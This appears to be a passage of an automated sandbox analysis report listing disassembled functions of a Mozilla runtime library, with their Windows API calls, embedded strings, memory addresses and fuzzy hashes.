ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BB884
InitializeConditionVariable.KERNEL32(?), ref: 6C9BB8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C9BB9FD
GetCurrentThreadId.KERNEL32 ref: 6C9BBA05
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000), ref: 6C9BBA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C9BBA27
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BBA4B
free.MOZGLUE(?), ref: 6C9BC9C7
free.MOZGLUE(?), ref: 6C9BC9DC

Strings

[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C9BC7DA
[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C9BC878

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 2bf0d9899538264eb719c7caf9542255fa6a42b2f853badb491c257f37516242
Instruction ID: e3e3f779da81bb233b95b668371963c81ee612c431f077c4ea647b4233ab68b2
Opcode Fuzzy Hash: 2bf0d9899538264eb719c7caf9542255fa6a42b2f853badb491c257f37516242
Instruction Fuzzy Hash: 0EA26B71A083808FD725CF28C48079BB7E5BFD9718F154A2DE899A7750DB71E909CB82

Function 6C986C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C986CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C986D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C986D26

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C986D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C986D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C986D73
free.MOZGLUE(00000000), ref: 6C986D80
CertGetNameStringW.CRYPT32 ref: 6C986DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C986DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C986DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C986DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C986E10
CryptMsgClose.CRYPT32(00000000), ref: 6C986E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C986E34
CreateFileW.KERNEL32 ref: 6C986EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C986F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C986F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C98709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C987103
free.MOZGLUE(00000000), ref: 6C987153
CloseHandle.KERNEL32(?), ref: 6C987176
__Init_thread_footer.LIBCMT ref: 6C987209
__Init_thread_footer.LIBCMT ref: 6C98723A
__Init_thread_footer.LIBCMT ref: 6C98726B
__Init_thread_footer.LIBCMT ref: 6C98729C
__Init_thread_footer.LIBCMT ref: 6C9872DC
__Init_thread_footer.LIBCMT ref: 6C98730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9873C2
VerSetConditionMask.NTDLL ref: 6C9873F3
VerSetConditionMask.NTDLL ref: 6C9873FF
VerSetConditionMask.NTDLL ref: 6C987406
VerSetConditionMask.NTDLL ref: 6C98740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C98741A
moz_xmalloc.MOZGLUE(?), ref: 6C98755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C987568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C987585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C987598
free.MOZGLUE(00000000), ref: 6C9875AC

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

Strings

SHA256, xrefs: 6C986EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C9872C8
(, xrefs: 6C98768A
wintrust.dll, xrefs: 6C9872CD

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 63b8aa72c2bbb1a7f2006dba6f798604c95553a62aa4fdb1611e20ece6463d50
Instruction ID: 0c517b6fefc84d7ed5d227baae53d516fa2436b876ad017d4dff96a4da80da51
Opcode Fuzzy Hash: 63b8aa72c2bbb1a7f2006dba6f798604c95553a62aa4fdb1611e20ece6463d50
Instruction Fuzzy Hash: 465202B1A053189BEB21CF24CC84BAA77BCEF55708F104599F919A7640DB70EB85CFA1

Function 6C9A6FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A7019
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A7061
EnterCriticalSection.KERNEL32(?), ref: 6C9A71A4
LeaveCriticalSection.KERNEL32(?), ref: 6C9A721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C9A723E
EnterCriticalSection.KERNEL32(?), ref: 6C9A726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9A72B2
LeaveCriticalSection.KERNEL32(?), ref: 6C9A733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9A73E8
LeaveCriticalSection.KERNEL32(?), ref: 6C9A961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9A9622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A9642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A96CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9A96DB
AcquireSRWLockExclusive.KERNEL32(6C9FE804), ref: 6C9A9747
GetSystemInfo.KERNEL32(?), ref: 6C9A9792
__Init_thread_footer.LIBCMT ref: 6C9A97A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9FE810,00000040), ref: 6C9A97CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7B8,00001388), ref: 6C9A9838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE744,00001388), ref: 6C9A984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE784,00001388), ref: 6C9A9874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FE7DC,00001388), ref: 6C9A9895

Strings

MALLOC_OPTIONS, xrefs: 6C9A97CA
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9A99BD
<jemalloc>, xrefs: 6C9A9B33, 6C9A9BE3
MOZ_CRASH(), xrefs: 6C9A9B42
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9A99D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A9BF4
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9A9993
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9A99A8
Compile-time page size does not divide the runtime one., xrefs: 6C9A9B38
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A9933, 6C9A9A33, 6C9A9A4E

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 525da75b217780d671b2aadd20fbd80c13c9ed8e693de32d30d34c7fcd5f637d
Instruction ID: b78f9898012243b8454fbbb32f4439580f4640eb71d071e51ee7656acec6a032
Opcode Fuzzy Hash: 525da75b217780d671b2aadd20fbd80c13c9ed8e693de32d30d34c7fcd5f637d
Instruction Fuzzy Hash: B953BF71A057018FD708CF68C581715FBE5BF89328F2AC6ADE8698B795D731E842CB81

Function 6C9B0DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C9B0F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C9B0F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C9B0FB7
EnterCriticalSection.KERNEL32(?), ref: 6C9B0FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C9B1031
LeaveCriticalSection.KERNEL32(?), ref: 6C9B10D0
EnterCriticalSection.KERNEL32(?), ref: 6C9B117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C9B1C39
EnterCriticalSection.KERNEL32(6C9FE744), ref: 6C9B3391
LeaveCriticalSection.KERNEL32(6C9FE744), ref: 6C9B33CD
LeaveCriticalSection.KERNEL32(?), ref: 6C9B3431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9B3437

Strings

MALLOC_OPTIONS, xrefs: 6C9B35FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9B37BD
<jemalloc>, xrefs: 6C9B3941, 6C9B39F1
MOZ_CRASH(), xrefs: 6C9B3950
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9B37D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9B3A02
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C9B3793
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9B37A8
Compile-time page size does not divide the runtime one., xrefs: 6C9B3946
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9B3559, 6C9B382D, 6C9B3848

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 12c3233e7c4a17476f6e516574b26c61c68e66608b58fed9c0cc290e31f0b69c
Instruction ID: 153f1201138f6da1deb89fc653e4902c8a1fdb8b38952ea007bf59047c458304
Opcode Fuzzy Hash: 12c3233e7c4a17476f6e516574b26c61c68e66608b58fed9c0cc290e31f0b69c
Instruction Fuzzy Hash: A8539D71A05B019FC304CF29C540616FBE5FF8A728F29C6ADE869AB791D771E841CB81

Function 6C9D55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C9AE1A5), ref: 6C9D5606
LoadLibraryW.KERNEL32(gdi32,?,6C9AE1A5), ref: 6C9D560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9D5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9D563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9D566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9D567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9D5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9D56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9D56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9D56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9D56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9D5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9D572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9D5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9D5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9D577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9D5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9D57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9D57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9D57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9D57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9D57FF

Strings

FillRect, xrefs: 6C9D5729
EnableNonClientDpiScaling, xrefs: 6C9D5666
DeleteObject, xrefs: 6C9D57F9
gdi32, xrefs: 6C9D560A
RegisterClassW, xrefs: 6C9D56AC
CreateWindowExW, xrefs: 6C9D56C5
GetDpiForWindow, xrefs: 6C9D5690
StretchDIBits, xrefs: 6C9D57CC
MonitorFromWindow, xrefs: 6C9D578D
CreateSolidBrush, xrefs: 6C9D57E4
SetWindowLongPtrW, xrefs: 6C9D57B7
GetThreadDpiAwarenessContext, xrefs: 6C9D562D
user32, xrefs: 6C9D5601
AreDpiAwarenessContextsEqual, xrefs: 6C9D5637
SetWindowPos, xrefs: 6C9D56F7
GetSystemMetricsForDpi, xrefs: 6C9D5677
ShowWindow, xrefs: 6C9D56DE
GetWindowDC, xrefs: 6C9D5710
LoadCursorW, xrefs: 6C9D5774
ReleaseDC, xrefs: 6C9D5742
LoadIconW, xrefs: 6C9D575B
GetMonitorInfoW, xrefs: 6C9D57A2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 05ccd04a027cbd5bc84e2bfa03b4345692b877b378b1ee04051b942a51222402
Instruction ID: 25eabafe9eba6f20d6d20a5ecb32a7aebbdb0b97b28a28a5e849b3f745c47d5f
Opcode Fuzzy Hash: 05ccd04a027cbd5bc84e2bfa03b4345692b877b378b1ee04051b942a51222402
Instruction Fuzzy Hash: 7C5151B0B15B025BEB029F35AD44D263AFDEB5634D7318469A931E2A41EF70D845CFA0

Function 6C9D34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D3EE2

Part of subcall function 6C9D6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9D61DD
Part of subcall function 6C9D6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9D622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D4157

Part of subcall function 6C9D6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9D6250
Part of subcall function 6C9D6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9D6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9D4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9D4896
free.MOZGLUE ref: 6C9D489F

Strings

, xrefs: 6C9D4CD2

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 05ec98801ab73339c9909d49784bba0e108b577147f6dfed8a9945bb9974c7d1
Instruction ID: a32a1fec539c48a66391695e9bf28a1f951960840ba79e9ad750ac68345943af
Opcode Fuzzy Hash: 05ec98801ab73339c9909d49784bba0e108b577147f6dfed8a9945bb9974c7d1
Instruction Fuzzy Hash: E2F24A74908B808FC761CF28C08469AFBF1BFD9348F158A5ED99997711DB31E896CB42

Function 6C9864C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9864DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9864F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C986505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C986518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C98652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C98671C
GetCurrentProcess.KERNEL32 ref: 6C986724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C98672F
GetCurrentProcess.KERNEL32 ref: 6C986759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C986764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C986A80
GetSystemInfo.KERNEL32(?), ref: 6C986ABE
__Init_thread_footer.LIBCMT ref: 6C986AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C986AF7

Strings

user32.dll, xrefs: 6C986526
_etoured.dll, xrefs: 6C9864ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C986798
detoured.dll, xrefs: 6C9864DA
nvdxgiwrap.dll, xrefs: 6C986513
nvd3d9wrap.dll, xrefs: 6C986500

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 70b63c23692b3200ba74d0d182bee171e7945d0474fb349646532da8d483d02e
Instruction ID: ab60888270dda105ff521e41951c31cf7b627af4a75afd2c426f7f8ff0d579ae
Opcode Fuzzy Hash: 70b63c23692b3200ba74d0d182bee171e7945d0474fb349646532da8d483d02e
Instruction Fuzzy Hash: C4F103709162199FCF20CF64DC88B9AB7B9AF45318F1446D9D819EB680D731EE84CF90

Function 6C9A60A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A60C9
LeaveCriticalSection.KERNEL32(6C9FE7DC), ref: 6C9A610D
EnterCriticalSection.KERNEL32(?), ref: 6C9A618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9A61F9

Strings

MALLOC_OPTIONS, xrefs: 6C9A6888
MOZ_CRASH(), xrefs: 6C9A6AB8
<jemalloc>, xrefs: 6C9A6AA9, 6C9A6B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C9A6B6A
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C9A6BC7, 6C9A6F97, 6C9A6FB2
Compile-time page size does not divide the runtime one., xrefs: 6C9A6AAE

Memory Dump Source

Source File: 00000000.00000002.2711980273.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2711937296.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712086785.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712150773.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2712181597.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 1fed604e1e9ec399d0fdfeaad937cad63293e02d2c54c6795d5b0babbdf401c9
Instruction ID: 3adec021d77a0a123d91a3f94ab203e46a2df2ee896fb08e92c9629f825f0bbe
Opcode Fuzzy Hash: 1fed604e1e9ec399d0fdfeaad937cad63293e02d2c54c6795d5b0babbdf401c9
Instruction Fuzzy Hash: D4A28A71A096018FD708CF6CC550615BBF6FB86728F29C66DE869CBB91C771E842CB81

Function 6C9DC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9DC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9DC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9DC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9DCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9DDB40
